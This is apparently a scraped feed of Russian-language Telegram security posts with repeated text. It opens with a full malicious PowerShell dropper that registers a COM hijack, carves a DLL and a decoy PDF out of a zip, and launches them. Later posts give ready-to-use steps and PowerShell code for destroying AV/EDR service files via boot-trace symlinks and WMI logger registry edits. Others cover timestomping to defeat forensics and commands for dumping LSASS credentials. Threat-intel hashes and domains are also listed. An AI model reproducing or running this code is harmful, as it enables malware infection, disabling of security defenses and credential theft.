"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle hidden -c "New-Item -Path 'HKCU:\Software\Classes\CLSID\{c53e07ec-25f3-4093-aa39-fc67ea22e99d}\InprocServer32' -Force|Set-Item -Value 'C:\ProgramData\winnt64_.dll';$r=[System.IO.Path]::Combine($(gl).Path,'Заказ_на_ДПЭ_225.zip');if(Test-Path $r){[System.IO.File]::WriteAllBytes([System.IO.Path]::Combine($env:ProgramData,'winnt64_.dll'),([System.IO.File]::ReadAllBytes($r)|select -Skip 16 -First 642064));}else{$f=$(gci -Path $env:USERPROFILE -Recurse -File|where{$_.Name -like 'Заказ_на_ДПЭ_225.zip'}|select -First 1); if($f){$r=$f.FullName;[System.IO.File]::WriteAllBytes('C:\ProgramData\winnt64_.dll',([System.IO.File]::ReadAllBytes($r)|select -Skip 16 -First 642064));}};if(-Not (Test-Path $r)){$r=$(gci -Path $env.TEMP -Recurse -File|where {$_.Name -like 'Заказ_на_ДПЭ_225.zip'}|select -First 1).FullName};[System.IO.File]::WriteAllBytes([System.IO.Path]::Combine($env:TEMP,'C:\sponge-bob\exe-zip-injector\Заказ_на_ДПЭ_225.pdf'),([System.IO.File]::ReadAllBytes($r)|select -Skip 642064 -First 704747));start $([System.IO.Path]::Combine($env:TEMP, 'C:\sponge-bob\exe-zip-injector\Заказ_на_ДПЭ_225.pdf'));
#PhantomCore
Хэши новые домен известный ранее.
#APT RareWolf
Пакет документов по Дополнительному соглашению к Договору №513402-2025.rar
EAEEDFE9958399F220A0EC793135EA96880D47E8AA0EDF271623A55A9DF79A05
Калькуляция.xlsx
4734444DE2B506360FAF17B1348DADAA07C1CB3734866AE23705D4C8AFDE4D22
Документы по Дополнительному соглашению к Договору №513402-2025.scr
C2A856E66469F64DCD3351B56AD1C61D0DB0488C7248BC3C05DF2EDF7E212BE2
email-office[.]ru
#APT RareWolf
IOC'S
Уведомление №221 о начале комплексной проверки согласно плану утечек8.exe
autovekb96[.]ru
82f5e455ebce674b4382bf2e7d0c58d67a11af3f861ea4ee1c431013d5ffe85e
Как за пару кнопок убить AV/EDR (разных цветов)
Из требований:
- Наличие прав админа на тачке;
- Возможность доставки procmon.
А далее всё более чем прозаично.
1. Включение функции "EnableBootLooging";
2. Создание символической ссылки:
3. Ребут тачки.
Получаем магию.
Подробнее:
https://www.zerosalarium.com/2025/01/byovd%20next%20level%20blind%20EDR%20windows%20symbolic%20link.html?m=1
Из требований:
- Наличие прав админа на тачке;
- Возможность доставки procmon.
А далее всё более чем прозаично.
1. Включение функции "EnableBootLooging";
2. Создание символической ссылки:
mklink C:\Windows\Procmon.pmb "<Полный путь до файла который требуется перезаписать>"
3. Ребут тачки.
Получаем магию.
Подробнее:
https://www.zerosalarium.com/2025/01/byovd%20next%20level%20blind%20EDR%20windows%20symbolic%20link.html?m=1
Forwarded from 1N73LL1G3NC3
Win32_Process has been the go to WMI class for remote command execution for years. In this post we will cover a new WMI class that functions like Win32_Process and offers further capability.
🔗 WMI_Proc_Dump.py
Dump processes over WMI with MSFT_MTProcess
🔗 mtprocess.py
Python script that uses Impacket to use the MSFT_MTProcess WMI class to execute a command. If wanting to use against a Workstation it can install the provider.
P.S. One more way to dump LSASS.
Please open Telegram to view this post
VIEW IN TELEGRAM
Сегодня немножечко про обновление временныхметок в NTFS.
Временные метки $STANDART_INFORMATION (0x10), возможно спокойно изменить, через Powershell из пространства пользователя. Изменение временных меток $FILE_NAME (0x30) происходит на уровне ядра. В случае, если при Timestomping изменить только временные метки $STANDART_INFORMATION (0x10), то будет заметно явное расхождение временных меток при анализе $MFT.
Однако, есть достаточно простые варианты синхронизации временных меток $SI с $FN.
1) Переименование файла;
2) Перемещение файла в другую директорию (однако тут ещё надо менять временные метки самой папки, поэтому такой себе вариант).
На скриншотах 1,2 временные метки создания файла для $SI и $FN, на 3,4 видно расхождение временных меток $SI и $FN после Timestomping. На скриншотах 5,6 видно, что при переименовании файла временные метки синхронизировались.
Да, в данном случае всё равно существуют альтернативные артефакты с помощью которых можно выявить Timestomping, но всё равно это несколько усложняет анализ.
#FORENSIC
Временные метки $STANDART_INFORMATION (0x10), возможно спокойно изменить, через Powershell из пространства пользователя. Изменение временных меток $FILE_NAME (0x30) происходит на уровне ядра. В случае, если при Timestomping изменить только временные метки $STANDART_INFORMATION (0x10), то будет заметно явное расхождение временных меток при анализе $MFT.
Однако, есть достаточно простые варианты синхронизации временных меток $SI с $FN.
1) Переименование файла;
2) Перемещение файла в другую директорию (однако тут ещё надо менять временные метки самой папки, поэтому такой себе вариант).
На скриншотах 1,2 временные метки создания файла для $SI и $FN, на 3,4 видно расхождение временных меток $SI и $FN после Timestomping. На скриншотах 5,6 видно, что при переименовании файла временные метки синхронизировались.
Да, в данном случае всё равно существуют альтернативные артефакты с помощью которых можно выявить Timestomping, но всё равно это несколько усложняет анализ.
#FORENSIC
5
Кхм едем дальше, а что если не procmon, а что нибудь другое, к примеру WPR (Windows Performance Recorder), xbootmgr и WMI )).
Для WPR:
У меня это "C:\ProgramData\Test", там создаются два файлика (после перезагрузки, если они ещё не существуют),
Ребутаем тачку
Для xbootmgr:
Процесс ребутает тачку сам, поэтому сначала создаем директорию и симлинки, а потом уже выполняем команду.
Для WMI:
После аналогично cоздаем симлинк и ребутаем тачку.
Вопрос сколько ещё таких вариантов реализации, видимо огромное множество.
Для WPR:
wpr -boottrace -addboot GeneralProfile -filemode -recordtempto С:\<путь какой нравится>
У меня это "C:\ProgramData\Test", там создаются два файлика (после перезагрузки, если они ещё не существуют),
WPR_initiated_WprApp_boottr_WPR Event Collector.etl и WPR_initiated_WprApp_boottr_WPR System Collector.etl, соответственно, что мы идем делать симлинки до файлов AV/EDR.mklink "C:\<путь до etl>\WPR_initiated_WprApp_boottr_WPR Event Collector.etl" "C:\<путь до файла службы"
mklink "C:\<путь до etl>\WPR_initiated_WprApp_boottr_WPR Event Collector.etl" "C:\<путь до файла службы"
Ребутаем тачку
Для xbootmgr:
xbootmgr -trace boot -traceFlags BASE+CSWITCH+DRIVERS+POWER -resultPath C:\<путь до логов>
mklink "C:\<путь до etl>\boot_BASE+CSWITCH+DRIVERS+POWER_1_km_premerge.etl" "C:\<путь до файла службы"
mklink "C:\<путь до etl>\boot_BASE+CSWITCH+DRIVERS+POWER_1_um_premerge.etl" "C:\<путь до файла службы"
Процесс ребутает тачку сам, поэтому сначала создаем директорию и симлинки, а потом уже выполняем команду.
Для WMI:
$reg = [wmiclass]'root\default:StdRegProv'
$HKLM = 2147483650
$base = 'SYSTEM\CurrentControlSet\Control\WMI\GlobalLogger'
$null = $reg.CreateKey($HKLM,$base)
$reg.SetDWORDValue($HKLM,$base,'Start',1)
$reg.SetStringValue($HKLM,$base,'FileName','C:\<путь до>\GlobalLogger.etl')
$flags = 0x00000010 -bor 0x00000020
$bytes = [BitConverter]::GetBytes([UInt32]$flags)
$reg.SetBinaryValue($HKLM,$base,'EnableKernelFlags',$bytes)
После аналогично cоздаем симлинк и ребутаем тачку.
Вопрос сколько ещё таких вариантов реализации, видимо огромное множество.
IOC'S
#APT RAREWOLF
Очередная редакция дополнительного соглашения к договору № 14976-59.rar
SHA256: 8BF5405D4AE1AE54900E4B496EAEF70748C39FB67FD929C7DE53C96066FD9C7C
1С Предприятие - Проект дополнительного соглашения к Договору № 14976-59.scr
SHA256: C57EB6FA6DFAA1CBDDC5CEAF394B78B1739F4AC0B081D63824A020C9F910A293
Калькуляция.xlsx (Документ приманка)
SHA256: 231621A5383B955972801069A943929017F5C9D3BF33AEE5B009D0B63AFC3249
#APT RAREWOLF
Иногда надоедает постоянно скачивать какие-то утилиты Sysinternals для проведения тестов и после отката к голому образу? Так можно их не скачивать.
Live Sysinternals - это публикация всего набора утилит Sysinternals на веб-ресурсе Microsoft, позволяющая запускать их прямо из сети без предварительной установки или ручной выгрузки архива. Доступ возможен как через браузер, так и через UNC-путь из Проводника, командной строки или PowerShell.
Live Sysinternals - это публикация всего набора утилит Sysinternals на веб-ресурсе Microsoft, позволяющая запускать их прямо из сети без предварительной установки или ручной выгрузки архива. Доступ возможен как через браузер, так и через UNC-путь из Проводника, командной строки или PowerShell.
Запустить Process Explorer из сети:
\\live.sysinternals.com\tools\procexp.exe
Запустить Process Monitor:
\\live.sysinternals.com\tools\procmon.exe
Открыть весь каталог в Проводнике:
в адресной строке введите \\live.sysinternals.com\tools
Как убить службу AV/EDR не прибегая к symlink и сторонним драйверам в Windows
Как показал кейс с использованием Procmon и аналогичных утилит, ключевая идея состоит в поиске драйвера, который фиксирует события на самых ранних этапах загрузки операционной системы. Возникает естественный вопрос: можно ли обойтись без установки собственных драйверов и дополнительных компонентов, опираясь только на доступные в системе механизмы и не прибегая к символическим ссылкам.
А что, если немножечко изменить те пути куда уже пишутся какие то логи самой системой?
И тут есть отличная веточка реестра
WMI AutoLogger - способ настраивать одну или несколько автосессий трассировки, которые стартуют при загрузке. В отличие от GlobalLogger, каждая AutoLogger-сессия самостоятельно рассылает провайдерам сигнал включения и может быть точно настроена под нужный набор провайдеров. AutoLogger не предназначен для записи специальных событий ядра NT Kernel Logger - для этого используется GlobalLogger.
WMI GlobalLogger - исторически более ранний механизм единственной глобальной сессии. Он также стартует на раннем этапе загрузки и может включать ядровые провайдеры через специальные флаги. Важно, что контроллер GlobalLogger не вызывает EnableTrace для провайдеров - провайдер сам должен определить, что глобальная сессия активна, и включить запись.
В AutoLogger уже есть достаточное количество различных сессий, можете тестировать разные (какие то работают, какие-то нет). В моем случае использовалась
Для GlobalLogger по умолчанию у меня не было никаких настроек, но можно добавить их самостоятельно:
Из минусов только наличие прав админа и перезагрузка хоста, но в целом выглядит жизнеспособно.
Статья имеет ознакомительный характер и предназначена для специалистов по безопасности, проводящих тестирование в рамках контракта. Автор и редакция не несут ответственности за любой вред, причиненный с применением изложенной информации. Распространение вредоносных программ, нарушение работы систем и нарушение тайны переписки преследуются по закону.
Как показал кейс с использованием Procmon и аналогичных утилит, ключевая идея состоит в поиске драйвера, который фиксирует события на самых ранних этапах загрузки операционной системы. Возникает естественный вопрос: можно ли обойтись без установки собственных драйверов и дополнительных компонентов, опираясь только на доступные в системе механизмы и не прибегая к символическим ссылкам.
А что, если немножечко изменить те пути куда уже пишутся какие то логи самой системой?
И тут есть отличная веточка реестра
HKLM\SYSTEM\CurrentControlSet\Control\WMI в которой существуют AutoLogger и GlobalLogger.WMI AutoLogger - способ настраивать одну или несколько автосессий трассировки, которые стартуют при загрузке. В отличие от GlobalLogger, каждая AutoLogger-сессия самостоятельно рассылает провайдерам сигнал включения и может быть точно настроена под нужный набор провайдеров. AutoLogger не предназначен для записи специальных событий ядра NT Kernel Logger - для этого используется GlobalLogger.
WMI GlobalLogger - исторически более ранний механизм единственной глобальной сессии. Он также стартует на раннем этапе загрузки и может включать ядровые провайдеры через специальные флаги. Важно, что контроллер GlobalLogger не вызывает EnableTrace для провайдеров - провайдер сам должен определить, что глобальная сессия активна, и включить запись.
В AutoLogger уже есть достаточное количество различных сессий, можете тестировать разные (какие то работают, какие-то нет). В моем случае использовалась
HKLM\SYSTEM\CurrentControlSet\Control\WMI\Autologger\ReadyBoot, где можно заменить путь указанный в FileName на путь к файлу службы, который хотим перезаписать.Для GlobalLogger по умолчанию у меня не было никаких настроек, но можно добавить их самостоятельно:
$reg = [wmiclass]'root\default:StdRegProv'
$HKLM = 2147483650
$base = 'SYSTEM\CurrentControlSet\Control\WMI\GlobalLogger'
$null = $reg.CreateKey($HKLM,$base)
$reg.SetDWORDValue($HKLM,$base,'Start',1)
$reg.SetStringValue($HKLM,$base,'FileName','C:\<путь до файла службы который требуется перезаписать>.exe')
$flags = 0x00000010 -bor 0x00000020
$bytes = [BitConverter]::GetBytes([UInt32]$flags)
$reg.SetBinaryValue($HKLM,$base,'EnableKernelFlags',$bytes)
Из минусов только наличие прав админа и перезагрузка хоста, но в целом выглядит жизнеспособно.
KVC - Kernel Vulnerability Capabilities Framework
Фреймворк Kernel Vulnerability Capabilities (KVC) представляет собой смену парадигмы в исследованиях безопасности Windows, предлагая беспрецедентный доступ к внутренним компонентам современной Windows посредством сложных операций на уровне «кольца 0». Изначально задуманный как «контроль уязвимостей ядра», фреймворк развивался, делая акцент не просто на контроле, а на полном использовании возможностей ядра Windows для легитимного исследования безопасности и тестирования на проникновение.
KVC устраняет критический пробел, оставленный традиционными криминалистическими инструментами, которые устарели на фоне современных мер по усилению безопасности Windows. Там, где такие инструменты, как ProcDump и Process Explorer, не справляются с ограничениями Protected Process Light (PPL), KVC добивается успеха, работая на уровне ядра, манипулируя теми же структурами, которые определяют эти средства защиты.
Возможностей достаточно много, описаны подробно в на странице проекта.
[GitHub]
Фреймворк Kernel Vulnerability Capabilities (KVC) представляет собой смену парадигмы в исследованиях безопасности Windows, предлагая беспрецедентный доступ к внутренним компонентам современной Windows посредством сложных операций на уровне «кольца 0». Изначально задуманный как «контроль уязвимостей ядра», фреймворк развивался, делая акцент не просто на контроле, а на полном использовании возможностей ядра Windows для легитимного исследования безопасности и тестирования на проникновение.
KVC устраняет критический пробел, оставленный традиционными криминалистическими инструментами, которые устарели на фоне современных мер по усилению безопасности Windows. Там, где такие инструменты, как ProcDump и Process Explorer, не справляются с ограничениями Protected Process Light (PPL), KVC добивается успеха, работая на уровне ядра, манипулируя теми же структурами, которые определяют эти средства защиты.
Возможностей достаточно много, описаны подробно в на странице проекта.
# Traditional approach (FAILS on modern Windows)
procdump.exe -ma lsass.exe lsass.dmp
# Result: Access Denied (0x80070005)
# KVC approach (SUCCEEDS)
kvc.exe dump lsass
# Result: Full memory dump with credentials
[GitHub]